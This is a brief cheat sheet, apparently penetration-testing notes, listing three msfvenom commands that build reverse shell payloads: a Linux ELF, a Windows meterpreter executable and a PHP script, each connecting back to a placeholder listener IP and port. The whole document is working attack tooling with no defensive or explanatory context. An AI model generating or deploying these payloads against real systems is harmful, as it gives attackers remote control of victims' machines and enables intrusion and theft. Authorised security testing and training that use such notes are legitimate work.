Msfvenom

Linux reverse shell

msfvenom -p linux/x64/shell/reverse_tcp LHOST=<LISTENER IP> LPORT=<LISTENER PORT> -f elf > shell.elf

Windows reverse shell

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<LISTENER IP> LPORT=<LISTENER PORT> -f exe > shell.exe

PHP reverse shell

msfvenom -p php/reverse_php LHOST=<LISTENER IP> LPORT=<LISTENER PORT> -o shell.php